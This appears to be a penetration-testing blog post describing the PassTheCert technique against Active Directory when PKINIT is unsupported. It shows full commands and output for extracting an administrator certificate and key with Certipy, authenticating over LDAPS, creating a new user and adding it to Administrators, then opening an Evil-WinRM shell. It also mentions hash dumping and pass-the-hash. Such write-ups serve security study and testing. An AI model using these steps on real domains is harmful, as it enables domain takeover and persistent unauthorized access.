No PKINIT - PassTheCert Technique

ยท

3 min read

Recently I came across a peculiar AD PKI environment where PKINIT is not supported. Check the below snippet, redacting the domain name for obvious reasons.

๐Ÿ”ฅ\> python3 ~/tools/PKINITtools/gettgtpkinit.py -cert-pfx administrator.pfx 'ippo.local/administrator' out.ccache
2023-07-24 12:51:28,209 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2023-07-24 12:51:28,294 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
Traceback (most recent call last):
  File "/home/kali/tools/PKINITtools/gettgtpkinit.py", line 349, in <module>
    main()
  File "/home/kali/tools/PKINITtools/gettgtpkinit.py", line 345, in main
    amain(args)
  File "/home/kali/tools/PKINITtools/gettgtpkinit.py", line 315, in amain
    res = sock.sendrecv(req)
          ^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/lib/python3.11/site-packages/minikerberos/network/clientsocket.py", line 85, in sendrecv
    raise KerberosError(krb_message)
minikerberos.protocol.errors.KerberosError:  Error Name: KDC_ERR_PADATA_TYPE_NOSUPP Detail: "KDC has no support for PADATA type (pre-authentication data)"

As you can see the error, KDC has no support for PADATA type (pre-authentication data), this error simply states that KDC (Key Distribution Center) is not set up for Kerberos authentication.

Background

The Kerberos authentication protocol works with tickets to grant access. An ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can only be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast). The pre-authentication can be validated symmetrically (with a DES, RC4, AES128 or AES256 key) or asymmetrically (with certificates). The asymmetrical way of pre-authenticating is called PKINIT. The "certificate + private key" pair file has an extension PFX. We can export Certificate and Private Key from a PFX file.

If PKINIT is not working on the domain or is not supported, LDAPS can be used to pass the certificate with the PassTheCert python tool.

We need to first extract the certificate and private key from the pfx file.

๐Ÿ”ฅ\> certipy cert -pfx administrator.pfx -nokey -out admin.crt -debug
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[+] Loading PFX 'administrator.pfx' without password
[*] Writing certificate and  to 'admin.crt'

๐Ÿ”ฅ\> certipy cert -pfx administrator.pfx -nocert -out admin.key -debug
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[+] Loading PFX 'administrator.pfx' without password
[*] Writing private key to 'admin.key'

Using the PassTheCert python tool we can pass the certificate via LDAPS to gain temp shell.

๐Ÿ”ฅ\> python3 passcert.py -action whoami -crt admin.crt -key admin.key -domain ippo.local -dc-ip 192.168.16.5
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] You are logged in as: ippo\Administrator

As you can see we pass the certificate and now we have elevated privileges. We can get a temporary LDAP shell from where we can give rights to other users or create new users with domain admin privileges.

๐Ÿ”ฅ\> python3 passcert.py -action ldap-shell -crt admin.crt -key admin.key -domain ippo.local -dc-ip 192.168.16.5
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Type help for list of commands

# add_user deku
Attempting to create user in: %s CN=Users,DC=ippo,DC=local
Adding new user with username: deku and password: fI-Rez2?)f#sJ`c result: OK

# add_user_to_group deku administrators
Adding user: ippo to group Administrators result: OK

# exit
Bye!

The tool itself generates the random password for the new user, and the new account with admin privs gets created, now we can log in via SMB or WinRM to get the fully functional shell.

๐Ÿ”ฅ\> evil-winrm -i ippo.local -u deku -p 'fI-Rez2?)f#sJ`c'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\deku\Documents>

We can even dump the domain user/admin hashes and later we can use the privileged hash to gain an elevated shell via PassTheHash mechanism.

ย